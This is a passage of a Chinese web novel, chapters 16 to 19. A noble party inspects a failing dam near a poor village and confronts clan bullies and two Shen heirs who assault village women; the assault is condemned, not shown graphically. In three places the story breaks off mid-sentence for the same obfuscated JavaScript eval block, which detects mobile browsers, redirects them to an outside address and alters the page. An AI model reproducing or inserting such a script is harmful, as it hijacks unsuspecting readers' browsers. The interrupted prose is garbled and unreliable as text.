钟意啧了一声，认命地从地上捡起一块薄石片，掂了掂，两指夹注力道，手腕一甩，不远处那根柔软的绳子竟应声而断。钟意过去捡起绳头，仔细瞧了瞧那布疙瘩，眼中闪过一丝古怪。 他看完又满不在乎丢开，过来回话：“不知道写的什么，缝了几针在上面，可能是黑山姥姥罢？哎沈公子，这黑山姥姥也是江南专门吓唬小孩的老妖婆么？” 沈复道：“可不是嘛，小时候谁不听话，一吓一个准。” 众人笑了笑。正事要紧，沈辉提议道：“崔侯爷，这牛角坳我也从未来过，不若寻个村人带路罢。” 原该如此，那水坝也不知建在哪里。 趁着众人在村里闲步问话，钟意寻机到了崔岑身边，压低声音道：“侯爷，那上面写着‘沈七’二字，如果我猜得没错，那是个咒偶。” 咒偶可不是什么好东西，虽不像巫蛊令人谈之色变，也是人心中怨念深重无从解恨而扎的发泄之物。 哦？这可真是巧了，崔岑和钟意不着痕迹地向一旁的沈砚望去，这里就站着一个沈七。 牛角坳里多是黄泥瓦房，灰扑扑的，目之所及满是穷困与破落。 饶是如此，一身明蓝夹紫绣花襦裙的雪白沈砚，站在这贫瘠土地上，一个人就叫这黝黯的村坳都亮了。 16. 第十六章 村霸 村民见到生人都十分畏缩，沈辉一连问了几人，不是见到他们就跑，就是摆手拒绝。 沈辉有些恼了。逮着一个瘦弱的中年汉，他皮笑肉不笑道：“老乡，听说这村里有个水坝，你前头带个路少不了你的好处，若是推辞……” 如果不是顾忌崔岑和沈复在身后，他哪容这些泥腿子这样一而再挑衅，早就一巴掌甩过去了！ “不、不知道什么水坝啊大官人！”那男人吓得两腿发颤，眼里满是恐惧。 沈辉背对着他们，一手狠狠拧在那人腰肉上，低声喝斥道：“那就去找个知道的人来！” “叫崔侯久等了，”回过身来他又笑着招呼众人，“没想到村里许多人不知道那地方，要不我们去村长家里问问，顺便洗个手歇歇脚罢？” 这一路踩得他皂靴、裤脚全是泥水，难受死了！ “堂哥，不必了，”沈砚忽然让出身后一个半大的男孩，“我找了个向导。” 那男孩名叫阿旺，瞧身量应有十来岁，穿着一件大人改过的薄夹袄，瘦弱得可怜。他手里抓着块绢布，再瞧他嘴角的糕饼屑，众人就知道是沈砚用糕点收买了他。 阿旺见这么多人朝他看过来，紧张地五指抽抽，空着的一手就要伸向沈砚衣角。吴娘忙上前一步，握住他的手。 “阿旺，你就走在我身边，”沈砚安抚了一句，又对沈辉道，“堂哥就让他带路罢，他经常上山，去过那里几次。” 她已发现这牛角坳似对他们一行人十分抵触，若非事关重大，她定是要先撤离再做计议。之所以还敢前行，大半原因是在崔岑身上，崔小高三人武力值甚高，应付眼下不成问题。 似乎知道她心中所想，崔岑和她视线交汇时，默声点了点头。 “好好好，那就走罢！”沈辉对带他们来这穷山僻壤一事已十分后悔，因此谁来带路无所谓，只求早些叫几位贵客满足了好奇心，好尽快打道回府。 “阿旺，你牵着我好不好，婆婆有些走不动了。”吴娘轻轻晃了晃阿旺的手。想起沈砚早前为这雨水多有忧虑的模样，吴娘模糊猜到她为何执意要去看水坝，如今这阿旺是关键，可不能把人半路吓跑了。 再者，阿旺总想去扯七娘的衣角，那手都是黑垢，吴娘实不忍心。 一行人跟着阿旺往村后去，没走出多远，路边忽一阵风似的蹿出个少年，抢走了阿旺手里的绢帕。 “沈济才！”阿旺急得大叫，“你快还我！” 那叫沈济才的少年约有十五六岁，长得十分敦实，肉乎乎的脸上神情骄横：“臭虫，你不配吃好东西，你吃了什么，你要加倍赔我！” 蛮不讲理！阿旺握着吴娘的手都在发抖，但他刚才吼那一句已是用光了勇气，竟不敢辩驳。 这小子刚蹿出时，崔岑几人就注意到了。但这村里处处古怪，村人也不肯与他们多说一句，这小孩兴许是突破口呢，因此任他冲到了身前。 此刻见他如此耍横，俱都有几分不喜。 沈复也看不下去，站出来道：“你这小孩好不讲道理，谁教你的规矩抢人东西，还口出污言？” 沈济才早就观察了一路，看他们衣着光鲜，倒是不敢那样对沈复：“外人不要多管闲事，你们不是要去那个破水坝么，我也知道路，给我钱我带你们去！” 沈复被他气笑了。 一旁的沈辉不待他开口，抢先一步挥手推开了小胖子：“一边去一边去，用不着你带路。” 沈济才被他推得连退几步，一屁股坐地上，突然扯开嗓子大声嚎道：“杀人了杀人了，快来人啊！外乡人欺负我们村，快来人啊！” 这一喊，四周顿时呼啦啦围上来一圈村民，个个叉手掐腰，神情不善。 阿旺吓呆了，拉着吴娘直打哆嗦：“他、他是村长的孙子，快跑！” 拦路的这伙人中，走出一个三十出头的精瘦汉子。此人塌鼻梁，斗鸡眼，是村里一霸，名叫沈牛杰。他冲沈辉一行人咧了咧嘴，不怀好意道：“你们几位什么意思，欺负我们牛角坳没大人么？也不看看你们多大，我侄子才多大，呸，你们还要脸么！瞧他这一屁股墩儿摔下来，还不知道伤了哪里，赔钱，你们必须得赔钱！” 那沈济才也躺在地上，配合着嗷嗷叫。 呵，这竟是要讹上了！？ 当着崔岑的面，沈复脸上挂不住，恼火道：“你又是什么人，光天化日之下竟这样颠倒黑白？叫你们村里能做主的人过来说话，我倒要问问，还有没有人能治你了！” “治我？”沈牛杰丝毫不惧，反而哈哈大笑，“我姓沈，你知道这是哪个沈？村里我就能做主，有什么话你跟我说！” 沈复心里一个咯噔，见沈辉要骂阵忙拉了他一下，喝道：“你不要信口开河，叫你们村长过来！” “我爹不在，你找我就行了，”沈牛杰精着呢，一见沈复似有顾虑，心中更加得意，“别想赖账，今天不赔钱谁也别想走！我可好心提醒你们，牛角坳离乌镇不远，我们沈家和太守更是本家，我还得叫太守一声表叔咧！别闹到最后吃官司，我叫差爷把你们通通关牢里去！” 哦？闻言，崔岑几人的目光都投向了沈复。 毋论真假，沈复已尴尬得脸上一阵红一阵白。他恼恨至极，咬牙切齿道：“一派胡言，不知所谓！哪里冒出的穷贼子，也敢高攀太守亲戚！” “啊呸！”沈牛杰仗着这重身份横行霸道十几年，顿时也气得眉毛倒竖，“我看你是敬酒不吃要吃罚酒！好啊，给我打，狠狠打，我表叔是太守，有什么事我担着！” 无知才会无畏，那围着的一群帮闲竟真的举起胳膊冲上来。 崔岑冷眼瞧着，踱步到沈砚跟前。沈复和沈辉见被人围攻，气性也上来了，可恨腰里没佩剑，不然真个削光他们！ 钟意只待在崔岑身边，林敢见状去护着吴娘和阿旺，还有林万峰。 这群乡野汉全凭蛮劲乱冲，毫无章法，连崔岑几人的衣角都没摸到，来一个摔一个，来两个倒一双，被踹翻后半天爬不起来，躺在地上干嚎。 沈牛杰见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142939|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己一伙人败得这样快，眼中闪过一丝惊惧。 他连自己侄子也顾不上，啐了一口逃道：“瞎了你们的狗眼，呸，都给我等着！” 原本赖在地上的沈济才见状不妙，一骨碌爬起来跟着跑了。其余人也一哄而散。 简直莫名其妙！ 沈复余怒未消，对崔岑强自镇定道：“让崔侯见笑了，这些刁民信口开河，胡乱攀扯，我定不饶了他们！扰了崔侯兴致实在惶恐，不若现在回城，我在金缕河畔再行招待崔侯，不醉不休！” 求求了，快回城罢！父亲把待客的重任交给他，没想到事情一而再失控，沈复现在肠子都悔青了，恨不能今日一切重新来过，省得此刻颜面尽失！ 胡乱攀扯么？ 宗氏为大，横行一乡一县都是常事，沈家有几个这样的族亲实属平常，便是上百个也不奇怪。崔岑瞥了眼沈砚，顺势道：“乡野村民而已，不曾冲撞我，明举不必自责。既然十几里路都来了，不差这一步，上山看看罢。” 沈复有苦难言，也不敢忤逆崔岑的意愿，只得应下。 阿旺一直躲在吴娘身后，这会儿才害怕道：“还、还去水坝？” “去，你继续带路！”沈复心里窝火，语气便有些冲。 沈辉的脸色也不好看，这方圆几十里都是桑园地界，颜面无光的何止沈复！想叫他们作罢回去，看看崔侯，劝不动惹不起，又把话咽了回去。 沈砚有些沉默。 她一向知道，这世间宗族抱团，宗亲为大，甚至远大过王法。乌镇沈氏在郓州扎根百年，三代而兴，早就族亲遍地，盘根错节。沈复与她都是年年记诵过族谱的，从未见牛角坳这一支的记载。牛角坳不过几个时辰的路程，尚在乌镇眼皮底下，就有人如此招摇霸道，甚至胆敢冒名攀亲。 可就算他们和沈家无亲，就真的与沈家无关么？ 沈家代天子牧守一方，几十年屹立，在郓州人眼中是了不得的高门大姓。这繁荣昌盛，是利益相关的无数人共同抬起的花花轿子，既有沾亲，也有故旧，有投效，有挂靠，还有狐假虎威和假借权柄，更不消说托庇沈家而活的成百上千的仆役和佃户。这些人都与沈家有关，千丝万缕，谁敢说牛角坳背后就一定无人倚仗呢？ 在她看不见的地方，是否她的亲友也在欺行霸市，为非作歹？ 见阿旺紧紧扯着吴娘的手，沈砚装作随意道：“阿旺，这些是什么人，真和太守家有亲么？” “应当是的罢，村长这么说，还能有假？”阿旺也说不清，提到这家人就有说不出的畏惧，“村长家人多，吃得饱，个个又高又壮，谁不听话就没好果子吃。” 沈砚听了，心下愈发沉重。 自古“皇权不下乡”，本就严重偏私的律法出不了一射之地，余下的权力真空被宗族、乡老瓜分取代。乡野之中，这自治中有多少阴私命案，奸恶歹事，冤屈血泪，怕是十天十夜也说不完。普天之下，何处可幸免？这烟雨朦胧的江南，掀开歌舞升平的华袍，恐怕也早已遍身暗疮…… 17. 第十七章 危坝 “这山上的酸枝树剥去皮，里头是橘红色的，村长说这都是上好的木料。村里经常要上山砍树，谁要交不上来就会挨打，隔壁小毛的爹就被打断了腿……” 往山上去的一路，沈砚有意无意引导阿旺说了村里的许多事。阿旺被她三言两语套住，知道的、不知道的都说了。 “交树，是要送去太守家？” “嗯，村长说要送给沈家娘子打嫁妆。我爹小时候就砍过，等明年再大一岁，我也要上山去……” 打嫁妆？沈砚摸不准这事是否是真的，酸枝木的确是用来打造家俬的上好树材，她不知道太守府里惯用的木料都是从哪儿来的，买的么？恐怕底下有人这样上供的话，就不会再花钱了罢？ 所谓同气连枝，这种一层一层纽系的宗亲势力，到了最底下，就是赤|裸裸剥削普通乡民了。 她眼角余光瞥向堂哥沈辉，见他脸上神情虽尽力掩藏，对这些事却颇不以为然，隐然不耐烦了。 沈复听了一路，又不好叫沈砚闭嘴，早就面色难看。这会儿再听不下去了，他反驳道：“阿旺，村长是骗你们的，太守家并没有收到什么木材。” “你怎么知道？”阿旺不信，“村长当然是送去了，他怎敢欺骗太守？” 在淳朴的乡民心里，哪怕是小孩子也知道太守是整个州郡最大的大官，他们敬畏得很，也不信有人敢弄虚作假。 沈复气结，和小孩子说不清楚，索性不说了。 “牛角坳”山势如其地名，两侧山崖缓缓上升，状如牛角环抱。中间开阔处，因着近日雨水甚多，已顺势冲出了数道溪流，泥水翻涌，也有枯枝和连根拔起的树木浮在水面上。可能是因为连年的滥砍滥伐，沈砚发现这山林的土质格外疏松，再加上地势，雨水冲刷过后山体越发单薄。 “这水坝还是我几年前发现的，也不知怎么建起来的，有那么那么高！”阿旺使劲拉开双手比划了一下，“远远看着挺吓人的，我也没敢走近。” “那为什么弃用呢？” “听说里面的水很深，以前淹死过不少人。大家都说建这水坝冲撞了山神……” 等沈砚远远看到那水坝时，才明白阿旺说的“吓人”有多吓人。几十年前干旱时为留住雨水，村民协同役夫在地势开阔处拦了一道水坝，沈砚估摸着这得有五六丈高了，约有几十万方容量。这样灰扑扑一个庞然大物拦在山间，再加上年久弃用，青苔幽生，坝口残损，令人在下面仰望时油然而生惧意。 再走近一些，沈砚听见有轰隆水声，待看清那水坝外壁有多处裂纹，一时脸色都变了。这牛角坳两边山崖冲下来的泥水大半被拦在水坝里，若是寻常时候也就罢了，毕竟山势和缓，但几十年来不断砍伐和破坏，那水底不知淤积了多少泥沙。方才瞧见有树木连根被冲进溪流里，可见山体已锁不住土壤，暴雨之下这大坝一旦冲垮，就不止是山洪，是千万吨泥石流了！ 春雷已炸响，它还能撑多久？ 阿旺走到这儿就本能地害怕，不肯再往前去。 沈砚却还想更近一点：“我想看看坝里的水位。”不知水位，无法与平常间比较，也就无法推测其他水坝的情形，这趟来得有什么意义？ 立在这样一个危坝下，任是再眼瞎的人也能感受到那份致命的威胁。沈复脸色有些发白，立刻驳斥道：“阿砚不要胡闹，再走近了危险，我们这就马上折返！” “是啊，妹妹别过去了，”沈辉也劝道，“这些事自有水务的人来察看，君子不立危墙之下，崔侯还在这呢！” 可都走到这地步了，不看一眼和无功而返有什么分别？ 沈砚心有不甘，只听着轰隆水声，觉得心跳加快，心口发热。 林敢和钟意也不赞同，他们两人自也看出这水坝暗藏凶险，多逗留一刻都是心惊胆战，“侯爷……” 崔岑抬手打断，上前一步道：“七娘子若信得过我，我过去查探一番。” “侯爷！”“崔侯！” 众人无不大惊失色。 沈复一个箭步拦到崔岑面前，强硬道：“崔侯万万不可！崔侯身份贵重，若有任何闪失，我万死难赎其罪！郓州也万万承担不起！” “明举不必担心，我只是绕过去远远看一眼，这水坝是有冲坝的危险，但这一时半会儿我站得又高又远，不会有事的。” 崔岑倒不以为意。 相比之下，他更觉血液沸腾，那巨大的水坝和轰鸣水声似巨兽咆哮激荡，越危险越有说不出的诱惑。若不是有这些人跟着，只凭他一人，他早就过去了。 林敢深知崔岑也是个执拗性子，常人劝不动，忙站出来道：“侯爷若执意要去，就请让老朽前去。老朽临行前受老太君所托，万不敢让侯爷立此危墙，这几步路老朽还不放在眼里，侯爷请住！” 言罢几个起跃，人已在两丈开外。 “林叔！” “钟意，”崔岑唤住自己的近卫，“不要紧的。” 沈砚顿感几道责备的目光兜头落下，暗暗叹了口气。 一时无语，众人都只悬着心盯着林敢的身影起落，看见他走到水坝近处观望。 直到约一刻钟后林老将军安全折返，几人才把心放回肚子里。 林敢的脸色却十分难看：“侯爷，这水坝危矣！水位离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142940|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坝口只有丈许，最险的还是那坝体经年失修，有多处开裂崩溃迹象，我们要速速和村民撤离此地，片刻不能耽误！” 崔岑向沈复看去，这就不是他的事了。 沈复吓了一跳，忙点头道：“正该如此，多谢林将军查明情况，我们这就回去，叫村长来商议此事！” 众人都没有异议，脸色凝重地原路返回。 阿旺听得半懂不懂，小脸满是惊恐。吴娘摸了摸他的脑袋，牵住他的小手。 才刚回到村里，崔岑三人就敏感地察觉到村里的气氛有些躁动。好些人家大白天门扉紧闭，又有好些人脚步匆匆往一个方向去，似隐约还有哭声笑声。 阿旺一见这情形似乎猜到了什么，吓得脖子一缩：“快躲起来，你们快来我家，快！” 崔岑和沈复几人不明所以，阿旺却不知哪来的力气忽然拉着吴娘跑开了，沈砚选择跟上。崔岑使了个眼色，钟意悄然退开，剩下的人都护着崔岑，跟着沈砚跑去。 阿旺的家有一道泥墙，众人都进来后，阿旺赶紧把扇破门一关，吓得大口喘气。 “怎么回事，见鬼了？”沈辉只觉他三十几年来从没这么狼狈过，冲着阿旺就差破口大骂。 “别出声，他们来了！那些人来了！”阿旺吓得忙叫他别说话，“你们待在这，我先进屋和我爹说一声，你们千万别出去！” 他们来了？ 沈砚正要琢磨，眼角余光忽瞥见林万峰，这个大侄子两手垂在身侧握成拳头，在微微发抖。她也不知为何，脑中忽如琴弦一拨，升起一个极其荒诞的猜想。 她向院角走去，朝林万峰递了一眼，示意他跟上。 待离众人有些距离后，沈砚开门见山道：“大侄儿，你为何会知道牛角坳这个山村？” 桑园里四下做活的许多仆从都不知，他一个公子哥竟知晓？ “姑姑……”林万峰望着她清澈如许的双眸，有些答不上来。 “连沈辉堂哥都没来过这里，你却知道路径，你来过对么？” 沈砚的心往下坠，冷静道：“你不止来过，你还是和别人一起来的？让我猜猜是谁，桑园里你这一辈的孩子，沈辉表哥的儿子才刚十岁，剩下就是你爹沈耀的两个儿子，也就是你的两个弟弟，一个十七岁的沈腾，一个十六岁的沈朗。” 沈砚说不上是什么心情，虽然她期望是她猜错了，但林万峰躲闪的眼神道出了实情。这一刻她生出了难以言喻的无力感，那是身为同姓同族的愤怒和溃败感。 用头发丝去想，都能猜到这些人来此准没好事。 “你告诉我，他们两个过来是做什么？” 18. 第十八章 “慢着！” 时光仿佛凝滞了一瞬。 林万峰发现，沈砚也许并不需要他的回答，她的眼睛里似有皎光流淌，轻易就看穿了他心底的阴影。 他干咳一声，张了张嘴，艰难道：“年前我跟着来过一趟，见他们闹得有些不像话……就没有再来过。” 这便是什么都回答了。 沈砚深深看了他一眼，这个侄儿只是庶出，自然约束不住那两个小霸王，甚至他去告状都没人理会。沈腾和沈朗小小年纪已十分跋扈甚至虚伪，在大姑母面前惯作乖巧，但是那邪浊的眼神骗不了偶尔去做客的沈砚。无数亲长一重一重溺爱，把两个男孙养出了无法无天的气性，也不知到最后会是谁害了谁。 她朝沈辉的方向示意道：“堂哥知道这些么？” 林万峰摇头，低声道：“小叔只当他们是在桑园附近玩耍罢了。” “那还等什么，”沈砚冷笑一声，“我们也不必躲在这儿，过去看看不就知道了？” 她可没有家丑不外扬的想法，看看这牛角坳谈“沈”变色，白日里紧闭门扉，不知情的还以为是毒蛇猛兽来了呢！ 不过，“你就不怕回去后，大姑母迁怒于你？” 沈砚眼珠一转便明白了此前林万峰主动带路的的意图，他是要借自己一行人发现附近山村的异样，可巧又撞上了两个弟弟为非作恶的场面。可想而知，若局面闹得不好看，林万峰回去后一定不会有什么好果子吃，家里一群人怕是要扒了他的皮。 林万峰抿了抿唇，年轻人的眼中露出几分坚毅，沉声道：“如果能叫两个弟弟有所收敛，我值得。” 沈砚顿了一顿，伸手拍了拍他肩头，没有说什么。 这情形落在不远处的崔岑眼里，不免觉得有趣。沈七娘子个头还没她侄儿高，这像模像样的安抚姿态，又老成又别扭，但又像她会做出来的事。 这人身上总是这么矛盾，越看越捉摸不透。 “哎呦！”阿旺带着他爹从屋里出来，老实巴交的中年汉看到小院里站了这么多人，唬得差点跳脚。 “老大人，你不必惊慌，”沈砚把心中翻滚的情绪都压了下去，不想吓到这老实的一家人，“我们这就离开。” “不行！”阿旺和他爹异口同声，阿旺急道，“姐姐你们不能走，你要是被他们发现了，他们会、会欺负你的！” 阿旺不知道怎么解释“欺负”，但他知道那是很可怕的事，急得伸手一把抓住了沈砚的衣服。 那小手黑瘦黑瘦的，还有泥污，但沈砚忽然心头一热。 “阿砚不急罢？”沈复皱眉道，“我们先看看是什么情形，问问村民。” 沈砚却激进道：“这里是郓州，是大姑母家附近的桑园，堂哥你说是不是，这儿还有我们需要避忌的人么？” 没错！ 沈辉老早就想这么说了，这一路的狼狈早已勾起他的心火，他们这群人论身份尊贵，在郓州地界别说横着走，就是捅破天窟窿也不带怕的！ 沈辉痛快道：“妹妹说的不错，我们还是不给这家人添麻烦了，出去看看罢！” 崔岑自然没有异议，沈砚就温言叫阿旺松手，众人开门出去。 阿旺和他爹吓得不知所措，犹豫了一会儿，父子两个也小心地跟在了后头。 要找到出事的地方并不难，众人循着哭闹声，不一会儿来到村东头的一个院子。 这院子也垒了一道泥墙，院门紧闭，一个穿着短褐的男人双手抱头蹲在门口。稍远处围着三三两两村民，均是指指点点。 压抑细碎的哭声和喝骂声就是从这院里传来。 “作孽啊，好好的媳妇被这样糟蹋！” “孙老汉又被赶出来了，也不知他这心里是个什么滋味……” “还能是什么滋味？可也不能怪他不是男人，这刀架在脖子上呐！” 沈砚听到村民的议论，再看门口那农人萎顿在地的痛苦神情，顿觉一股怒意涌到了嗓子眼。这还有什么不明白的，两个小畜生竟学人欺男霸女！？ “哎呦！”一旁的村民见到他们过来，忙四散逃开，竟避之如蛇蝎。 众人心里都有些异样，如此待遇实是从未有过。这一下散开，倒把守着院门的几个泼皮身影露了出来，正是之前碰过面的沈牛杰等人。 沈牛杰一看到他们，立刻冷笑不止。 此刻，钟意也不知打哪儿蹿出来，回到众人身边低声禀道：“侯爷，沈公子，我方才打听过了，这里头是孙老汉家，孙老汉的妻女还在屋里……我问了一圈，都说这不是第一次，这几年牛角坳好多人家都被光顾过。” 顾忌着还有女眷在，钟意说的含糊，可谁又听不懂呢。 沈砚耐心告罄，冷声道：“叫门罢。” 沈复偷眼朝崔岑瞥去，心如死灰，只恨为何要叫外客一而再撞见这些丑事！他都无力撒气了，冷脸道：“开门，我倒要看看是哪个胆大包天的，朗朗乾坤敢这样横霸乡邻，丧尽天良！” 几人说话也没压低声，沈牛杰闻言也不怵。他方才咂摸过，这群人虽衣着不俗，但想来也不是什么金贵人物，否则怎么不一早亮明身份？ 想到屋里的靠山，沈牛杰便有恃无恐，口无遮掩道：“呸！说什么胆大包天，你们又是什么狗屁人物？在郓州，瞧好喽，你们不知修得几辈子福气才能见到我们公子，不过我们公子也不是你们想见就见的！里面还没完事儿，小娘皮刚开荤还在嗷嗷叫，再等等罢！” 沈牛杰的目光又转到沈砚脸上，笑容扭曲道：“吆，这里还有个这么标致的小娘子呢，若是——啊！” 一块石片猛然击中他右脸颊，便如被人狠狠扇了一掌，沈牛杰张嘴竟“哇”地吐出一大口血和两颗黄牙！ 狗嘴里果然吐不出象牙。 崔岑放下手腕，朝院门抬了抬下巴：“钟意。” 钟意就从旁寻摸了一根木柴棍，掂了掂分量。 宛若虎归山林。此时的他眉眼沉静，也不用什么招式，每次抬手都挟雷霆之势，每一击都见血方休，将柴火棍舞出了惊鸿剑的杀气，令人心惊胆寒。 沈砚倒不在意那浑人的粗鄙恶语，听一句就要生气，那早被气死了。但这些人气焰如此嚣张，平日必定作恶累累，吃些教训很是应该。 大约是钟意下了狠手，被揍趴下的几个泼皮无赖哀嚎半天爬不起来。口出狂妄的沈牛杰尤为凄惨，一击重棍敲在他膝盖上，听声音多半要髌骨碎裂，下半生瘫痪在床了。 “你们！你……”沈牛杰面如金纸，龇牙咧嘴吐出一口血水，想说什么，咕噜含糊在喉咙里。 一旁瘫坐的孙老汉吓呆了，抱臂缩在门边瑟瑟发抖。 没人再拦着，钟意也不见使力，上前一棍子顶开了被拴住的院门。身为崔岑近卫，他两臂能开三石弓，手上挽得动百十斤的刀花，这门在他眼中形同虚设。 院内的人早就听到了打斗声，待门一开就叫唤着围攻上来，“瞎了眼了，是什么人放肆！” 钟意懒得搭理，抬手一棍撂到一个，顿时把几个人模狗样的东西砸翻在地。 崔岑和沈复等人随后迈进来。沈辉看见地上的人，忽觉他们这身衣服怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142941|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么有些眼熟？只是还不等他脑子转过弯来，就被屋里传出的叫骂声引走了注意力。 “哪个不长眼的东西，敢打扰老子好事！” “都瞎了眼么！一群饭桶都是死的么，怎么没报上我——”从屋里跑出两个衣衫不整的半大青年，原是怒火滔天的模样，碰到院子里几人冷冰冰的目光，顿时呆若木鸡。 “小叔？堂哥！？” 这绝不是个亲朋相见的好场合。 沈辉和沈复也吓住了。沈复心潮起伏一时竟不知张口要说什么，要说什么？大姑母的孙子，他的侄子，桑园里的嫡公子沈腾和沈朗，要什么女人没有，竟跑到这山沟里作奸犯科？ 还是沈砚先上前一步，打破沉默：“屋里怎么有人在哭？吴娘，我们进去看看。” “不可！”在场的几个沈家男丁连忙回过神来阻止，连那两个畜生都吓得大叫，“姑姑别过来！” 屋里是什么情形用脚趾头都能想到，沈砚还是未出阁的小娘子，怎能看见那些腌臜画面！ “不可什么？”沈砚盯着他们狼狈模样，乖巧又好奇道，“中午在桑园没见着你们，听说你们两个去邻县求学了，怎么会在这儿，发生什么事了？” 谁也不敢说沈砚在明知故问。 谁也不敢说她阴阳怪气。 谁也答不上话来。 一阵凉气从脚底升起，一股热血又倒涌冲向脑门，沈腾和沈朗两个哑巴了似的，脸上青白交加：“误会，都是误会……” “孽障！”沈砚还待再讥讽几句，沈辉忽然抢步上前，狠狠扇了一人一个耳刮子！ 只听他怒声道：“混账东西！你们这是做什么，圣贤书都读到狗肚子里去了？沈家门风严谨，怎么就出了你们两个不成器的东西！叫我大哥知道，叫你们祖母知道，你们是要活活戳人心窝子么！滚，都给我滚，马上给我滚回家请罪去！” “是！是，侄儿这就回去！”两人捂着腮帮子，半句不敢多说。 “慢着！” 沈砚悍然上前一步。 人一旦回了桑园，谁又能管得了后续如何？若以往的小恶，果真有施以惩戒，岂会发展到如今胆大包天的地步？ “若非亲眼所见，怕是堂哥也还不知晓他二人这般毁坏沈氏声誉，看这里村民如此惧怕沈家，想来已不是一两天的事。我想问问，大堂哥和姑母若是查实了，要如何处置？” 真是胡闹，还嫌不够丢脸么？沈辉心中暗恼沈砚不懂事，见她盯着自己不放，只得硬着头皮道：“自是要关他们禁足反省，好好惩戒一番。” 呵，作奸犯科只需反省就够了么？ 看沈辉这避重就轻的语气，沈砚心上弥漫起一团浓重的郁气。小小年纪称霸一方，为祸乡邻，叫人闻“沈”变色的沈腾和沈朗，是大姑母的孙子，惩戒不得。看不见的恶事还不知有多少，就因为姓沈，就可以为所欲为，无法无天，这安宁和乐的郓州，是否只是一小撮人的天堂？ 哭声犹在耳畔。 沈砚自认不是有多热烈心肠的人，撞见这样的丑事也容易让人说她闲话，她本该避开，更不该出言搅合。可她往日不介意扮个娴静无争的人，此时也就不在意针尖对麦芒。 装聋作哑不算，还要帮着粉饰太平，她做不到。 “阿砚，”沈复上前，挡住了沈砚的视线，“水坝危矣，还是先去找村长罢，此事就交给桑园处理，相信大姑母会公允处置。” 再是气愤，毕竟隔房，他们两个也是小辈，不能逾矩插手别人的家事。 正事要紧，大局为重。 19. 第十九章 围堵 这是个极寻常的农家小院，一排三间泥草屋，左右搭了柴垛和棚架，堆着些许农具杂物，原该还养了几只鸡鸭。从桑园里来的一帮人在院子里翻搅过一遍，追撵棍逗，一只活物也没留下。 沈辉把两个侄儿赶走了，只留下一地狼籍。 屋里压抑着哭声，断断续续。 没有哭天抢地，偏这样小声抽泣，叫人听了心里更难受。 孙老汉抢先冲进院子，到了堂屋门口却不敢进去，膝盖一弯，直挺挺跪坐在一地泥泞里，痛苦地捶着自己脑袋。 沈砚没有着急进屋，叹道：“吴娘，你去近旁叫两个相好的妇人来帮着收拾。” 见沈砚眉眼低垂，显是心中十分沉郁，吴娘忙应了，又给钟意递了个眼色，示意他看护好人。 崔岑和沈复几个去找村长，把钟意留下给沈砚，钟意自是不敢大意。 举目四望，站在这个院子里，言语都失去了力量，沈砚不知说些什么好，又能做些什么。 有些恶从来就是突破想象的，就是难以理解的。 在后世，尚且有村霸带刀上门，常年霸占村人的媳妇，村里报警然而多年无人管束，直到扫黑大势所趋才被捕。多么不可思议，谁都治不了这些恶棍歹徒？当年她也深觉荒诞，一村之霸就如此难治，如今，谁又能治“沈家”这个郓州之霸？ 今日她能救得这一户人家，又如何能揽下天下这许多不平事？且还不说，桑园那边过后是否会记恨孙老汉一家，闹大了这些丑事，孙家本还能忍辱偷生，往后却有了性命之忧？ “乌镇沈氏”的门庭名望，在这一亩三分地上，遮天蔽日。 她沈砚托生在沈家，端起碗享尽尊荣富贵，又如何放下碗就鄙夷沈氏宗族树大根深，掠尽江南繁华，冠盖阴影深重？ “怪不得今早在桑园不见人，”沈砚面沉如水，看向林万峰，“只是他们打哪里来，方才我们进村时将马车留在路上，他们竟不认得？” 沈闵之的车驾若不识得还勉强，沈辉和林万峰坐的可是桑园里的车。 林万峰不敢隐瞒：“大约是路经了别村，牛角坳通着岩头村，在村西口还有条路。” 沈砚眉头轻轻一跳：“该不会是，他们一路这么祸害过来？” 林万峰难堪地点头。 “简直无法无天，”沈砚心中越发憎恶，面上神情却愈加平静，“这才几岁就这样胡来，你祖母也不管管？” 这时的富贵家里，男丁长到十四五岁，长辈就会安排让他们于情|事上开蒙。沈腾和沈朗才刚十六七岁，初尝滋味，正是躁动时候，又没人约束，竟跑到外边胡天胡地来了。如此淫|色，她就不信桑园里没有半点迹象，大姑母几个长辈难道就没察觉么？ 林万峰面皮发红，低头道：“祖母和母亲，近些时日正托官媒要给两个弟弟议亲。” 原来不是不知，是觉着他们还小，成了家就会收心呢！然和他们议亲的那些姑娘又是造了什么孽，要摊上这种人渣！ 沈砚什么都不想说了。若是治家不严的大族大姓，子孙慕色贪欢，这点子事算什么事？ 